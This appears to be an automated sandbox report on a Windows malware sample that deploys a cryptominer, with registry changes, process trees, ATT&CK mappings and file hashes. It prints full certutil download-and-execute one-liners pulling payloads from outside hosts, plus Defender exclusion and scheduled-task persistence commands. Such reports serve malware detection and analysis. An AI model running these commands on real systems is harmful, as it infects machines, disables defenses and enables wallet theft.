MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\SettingsSync.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\xmrig.exe = "0" 0e5951620.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\checker.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\xmrig.exe = "0" MicrosoftUpdateAssistant.exe - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\MicrosoftUpdateAssistant.exe\"" 0e5951620.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "C:\\Program Files (x86)\\Reference Assemblies\\SecurityHealthSystray.exe" dd.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer = "C:\\Users\\Admin\\AppData\\Local\\Temp\\explorer.exe" dd.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 6 pastebin.com 22 pastebin.com -
resource yara_rule behavioral2/files/0x000d00000001c488-76.dat upx behavioral2/memory/4724-78-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/4724-126-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/4724-127-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/4724-128-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/4724-129-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/4120-138-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4724-139-0x0000000000360000-0x0000000000FB7000-memory.dmp upx behavioral2/memory/1348-143-0x0000000000CF0000-0x0000000001947000-memory.dmp upx behavioral2/memory/1348-145-0x0000000000CF0000-0x0000000001947000-memory.dmp upx behavioral2/memory/4120-147-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-148-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-149-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-157-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-175-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-176-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-177-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-178-0x00000000004C0000-0x0000000001117000-memory.dmp upx behavioral2/memory/4120-179-0x00000000004C0000-0x0000000001117000-memory.dmp upx - Drops file in Program Files directory 6 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\uonsingoech.inf file.exe File opened for modification C:\Program Files (x86)\Mozilla Firefox\pcaictsoents explorer.exe File opened for modification C:\Program Files\CMake\scheimsuost.pdf explorer.exe File opened for modification C:\Program Files (x86)\switching\oannoyiity.txt explorer.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\f6bef71f-d77f-884e-5a02-0105ebec1fd7 dd.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\SecurityHealthSystray.exe dd.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4360 cmd.exe 1172 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SecurityHealthSystray.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4872 schtasks.exe 4956 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 4724 dd.exe 4724 dd.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 4724 dd.exe 4724 dd.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 4120 explorer.exe 4120 explorer.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1948 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeLockMemoryPrivilege 2312 MicrosoftUpdateWorker.exe Token: SeLockMemoryPrivilege 2312 MicrosoftUpdateWorker.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeShutdownPrivilege 1948 explorer.exe Token: SeCreatePagefilePrivilege 1948 explorer.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeIncreaseQuotaPrivilege 4636 powershell.exe Token: SeSecurityPrivilege 4636 powershell.exe Token: SeTakeOwnershipPrivilege 4636 powershell.exe Token: SeLoadDriverPrivilege 4636 powershell.exe Token: SeSystemProfilePrivilege 4636 powershell.exe Token: SeSystemtimePrivilege 4636 powershell.exe Token: SeProfSingleProcessPrivilege 4636 powershell.exe Token: SeIncBasePriorityPrivilege 4636 powershell.exe Token: SeCreatePagefilePrivilege 4636 powershell.exe Token: SeBackupPrivilege 4636 powershell.exe Token: SeRestorePrivilege 4636 powershell.exe Token: SeShutdownPrivilege 4636 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeSystemEnvironmentPrivilege 4636 powershell.exe Token: SeRemoteShutdownPrivilege 4636 powershell.exe - Suspicious use of FindShellTrayWindow 30 IoCs
pid Process 5068 file.exe 3372 0e5951620.exe 2312 MicrosoftUpdateWorker.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe - Suspicious use of SendNotifyMessage 28 IoCs
pid Process 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe 3372 0e5951620.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 5068 wrote to memory of 1948 5068 file.exe 80 PID 1948 wrote to memory of 4360 1948 explorer.exe 90 PID 1948 wrote to memory of 1172 1948 explorer.exe 91 PID 4360 wrote to memory of 120 4360 cmd.exe 94 PID 1172 wrote to memory of 4156 1172 cmd.exe 95 PID 4360 wrote to memory of 3380 4360 cmd.exe 96 PID 3380 wrote to memory of 3372 3380 0e5951620.exe 97 PID 3372 wrote to memory of 4724 3372 0e5951620.exe 99 PID 3372 wrote to memory of 4872 3372 0e5951620.exe 100 PID 3372 wrote to memory of 792 3372 0e5951620.exe 102 PID 1948 wrote to memory of 4964 1948 explorer.exe PID 1948 wrote to memory of 2668 1948 explorer.exe PID 3372 wrote to memory of 3768 3372 0e5951620.exe 108 PID 3372 wrote to memory of 4956 3372 0e5951620.exe 109 PID 3372 wrote to memory of 3808 3372 0e5951620.exe 111 PID 3372 wrote to memory of 2312 3372 0e5951620.exe 113 PID 4724 wrote to memory of 4120 4724 dd.exe 116 PID 1948 wrote to memory of 4272 1948 explorer.exe PID 4120 wrote to memory of 4636 4120 explorer.exe 119 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5068
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe" && "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"3⤵
- Downloads MZ/PE file
PID:120
-
-
C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"C:\Users\Admin\AppData\Local\Temp\0e5951620.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe"4⤵
- Windows security bypass
- Creates a file in the Startup directory
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3372 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\explorer.exeC:\Users\Admin\AppData\Local\Temp\explorer.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe7⤵
- UAC bypass
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4636
-
-
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"5⤵
- Scheduled Task/Job: Scheduled Task
PID:4872
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot5⤵PID:792
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe"5⤵
- Executes dropped EXE
PID:3768
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"5⤵
- Scheduled Task/Job: Scheduled Task
PID:4956
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot5⤵PID:3808
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2312
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://api.lqbzz.cc/download/clipboard_replacer.exe" "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe" && "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "https://api.lqbzz.cc/download/clipboard_replacer.exe" "C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe"3⤵PID:4156
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe1⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
PID:1608
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"1⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
PID:1876
-
C:\Program Files (x86)\Reference Assemblies\SecurityHealthSystray.exe"C:\Program Files (x86)\Reference Assemblies\SecurityHealthSystray.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1348
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
3Disable or Modify Tools
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
- Size 808B
- SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
- MD5 878e958d6bff424e59d1feb51584a01f
- SHA1 b11261559bbea40f1874448196e2934277a537e9
- SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
- TLSH T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 c5ef1a825d4adf4e4cffc8be0388a4b7c8723c394565e9fa5804e3f641f5194a
- MD5 c6b719ed1e30440541a90ac421f883aa
- SHA1 e626fde791ef01c540172770e9fa20d4537324ea
- SHA512 3bbd927efd6d968aba517498b41d898182ea9f8d373f7249f6c087117c67d95a44c72590db594ab792cabe74b5465826e5e965028204becdecd8c193fd18cf40
- TLSH T1E9C08C1C1EA20A06F6A8437C03C13A03AB208101E2428F051AF12A08CDA6B162838C3A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5951620.exe
- Size 6.4MB
- SHA256 37bc10eba18a4dd8778b45e1f4f15794c6cad22c04db1175978ef867bb8110a1
- MD5 fbb9b2ffbf4ff339fa9480e80d325fd0
- SHA1 0f240e8ca63715d06fd67739c96e990971906b98
- SHA512 ffcaaa7a988f50367baf72cb7325cf8e70f9cee9d3be07bb44bb9053e5a973c427431ea543022ab5a63091031b9f61af45a288059f4e8971337c8b79c48fbd85
- SSDEEP 196608:YeII0mM7rGY81t1VQ5PhvzyJ6H4fpuqdpwB:YL17rGY8n1VYve6HqryB
- TLSH T165663357D295D8F4E81AF27DC30EE366DE76382953A4E4CF0BA047106E5BAE05E7CA10
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe
- Size 214KB
- SHA256 a56c98d41dfcc24d11e912fa571f434d14c24c3c5bbfd0d3f7d5fe90c144046a
- MD5 65603c51b68ef442d5f42c3eea78ec42
- SHA1 b608795c1e26293232b4d771b12f05448424a488
- SHA512 eae00b46c40be3f8ca89070ad6aafefed5bdb478b8ca9b91ac022ccc90035766ba1dccab460d80b0c62e69753c85f2e5d5ee916d3901c73ad82d4148ea042de9
- SSDEEP 3072:u99sR/nqlC7DVRUsnXZBZwzNGRrsDJVlQ1q6Tkmgm+UA0oXMeoW2n:0eYCfUsnpBZwZzVSkWZA0oXMeAn
- TLSH T18C241943A18819F4E856E13CE34BE225DB627C720795E0DF17A05322AF5BEE06D3DE61
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe
- Size 6.2MB
- SHA256 0eadb9cc8098d0fb1ac1e80f13de901435a4c5e974ea0dc7306e037178e84ee0
- MD5 e8a7266e92b8409445d9161d17d41e6c
- SHA1 59d7e0b94180530a6136a7da4ae8db26a176c440
- SHA512 f4c71cb9a4f6529e3263b0de123f999b3b138bd153b844ff2707170bc13510364ef68b1d694ce8cb0e3ae30e486e292f979fbff23a1cb70bbcea0614008f8d65
- SSDEEP 98304:SqFp6S568NMyOefiH7cXdHkByf1WCseto4tMQXfXDox+Sxw427x2vHkZvfl3TDQF:SRC/NM0rDoxrix2PkZvdAv5n1gpgR
- TLSH T19C569D26B7A401E8C87AC53CC6469A13E7F2B81A5370A7DB17B0567A1F336D45E3EB10
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
- Size 1KB
- SHA256 f5b84f2ab3023486a35c154e45583a23c12d4e10646aea0c44e93f4ba5a983ca
- MD5 e06c9054df6c8987644c1ebcb3cea806
- SHA1 1a77f2609acad4815b06ac15f0a66fca1073be6f
- SHA512 bddd58a4eb1bb058a82e6239020b158ca8d1eabe06532ad8d6c83b85d94de70ab92dc93348dfd9dbb9e08b2a8c651bf7fc334fe0a6e55544321caae03b9be776
- TLSH T1C041962AC8184EB21AD0A4095CB99F4789138D273E06396877CB961C8F5D73F217C7BD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
- Size 1KB
- SHA256 606388e6695726e7cf84246df4ad5df2b5e94ba2e4a35014b79768388b7e102b
- MD5 a9b768564a3d2bc77dbd24874aa30f6c
- SHA1 6bcb760382c2b6aa55b0b939d903f6bdd900ceb3
- SHA512 e0fb487f2225ab185822db61d08b1257d7e3c6dade40dc75b03be8410859c25d986eaebad4b6077e3f31fec0f1657616829dcd7d36b683e536f40eb6af479d2c
- TLSH T15F41A32AC8180EB21AE0A4094CB99F4749134D637E4A782877CBA60C8F8D73F217C77D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\config.json
- Size 849B
- SHA256 ca4d6724a0384de5fdbc0cc2a6c574e6583fd63d5c5247e06cb26662204703e6
- MD5 5d25f247128696f6922db083110e7926
- SHA1 4e0d099fa6160b07ffee9deca58ea54c1672df1a
- SHA512 04f180025b0e1ff5bcd289c41c1a749a8192e20a005c4899656b6f8da97a867a8e7db42bc1e020ded62b9f04023587a30ce0161a316a15605d1484be39fd7bdc
- TLSH T1C8011E17C4200CF76AD8D65C58386393276C8492D34E3C7CA143B564B11E37253393E0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\dd.exe
- Size 3.4MB
- SHA256 62dff0cf5917b57524122f8d040041857e7bd9a66bf9a1c49e69245281c529cd
- MD5 db6b9f86dcf61cc01d4d39459ca90ba6
- SHA1 ab3f551350523160fe319a118f8f80951b4b01f7
- SHA512 79ace543861b1d078911716e50381477a94384ded85e10d71f6543c89fa8d91eb33abcb416eb25c715ab0026b0cba2284f75f77ab24055b442d8051224462c80
- SSDEEP 98304:K3Q5PhHPA/O5yJJU8CLR4fRT7pwdc7if7mdpwK:sQ5PhvzyJ6H4fpuqdpw
- TLSH T1A3F5336F5B33FD18E10A65F2C90EE2871C99530D226CD7C65EB34179BA7B042AE7C099
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\taskmgr_hook.dll
- Size 14KB
- SHA256 e5a81f5b2021cca3c93bcb26f2dece4cb396b4c8496bdf11460a5d8b0f0e5486
- MD5 2181e678bad655d81d54385c54760fe3
- SHA1 c2a1feaffe6ce969e3338cb8bdde8cfaa3765d64
- SHA512 e04f18a22c71bf4c50dea72d45dd7beeac6ee7e32246a1eb50daa9c1a764adc4f05bca0085a09fe3ecd9007d9b35ab61df8c69cacb2c05dad1ab8c1be7801dff
- SSDEEP 192:x+bDZXsZNJmalh/BcZKu+ROUdUr2GnV4ll0:x+buXJTr2D+UUdUKEV4ll
- TLSH T1A252F90D735249ADE20ED53481FB8B38A7B1FA019D93572C4234FA361E917AA332AF05
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\0e5951620.exe
- Size 6.5MB
- SHA256 0448ef245659c937ae9226e46487713d7bd2cfbd0d7e0f24017c6c90289d3e46
- MD5 f7329b5b0fc724f92c8e5d32354693dc
- SHA1 c88c8c84a70f51a3a23c1ee80afce3f7f1259c69
- SHA512 b3c48988eca713225bd339a742ef998fb79eca798057dab57f13a9c238059ed528e3efadeeccdbd05ed7bc4ad7ea06c8e6840267126d6abcd28319674ce095fb
- SSDEEP 196608:jtrXDHCrz0JmWB4sdqES/v1vbC0KLO89rK9:jNXDHCrz0AWOmqEiedxK9
- TLSH T14D6633DCA18763DBC4F394B422710746F04264D93B79E8E33DEE57F16A0A2E2A13C995
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\0e5951b01.exe
- Size 6KB
- SHA256 129565b0cf381106183e7815809ff5d2acce193cea433312ed85e6ccc8ce6bce
- MD5 744574b00f2121be08dd52c7079c0b40
- SHA1 2028799f7c0c49776432adcaa0e569cbe2208358
- SHA512 04e77eb5b4505498d114c1a44c71bc6f9474749e20173e3fdb7f8b60d375a9d965a38b96240a67fb39b3d89e6534cafd8a7dfbc0e994e3aa7fe5628163ff5448
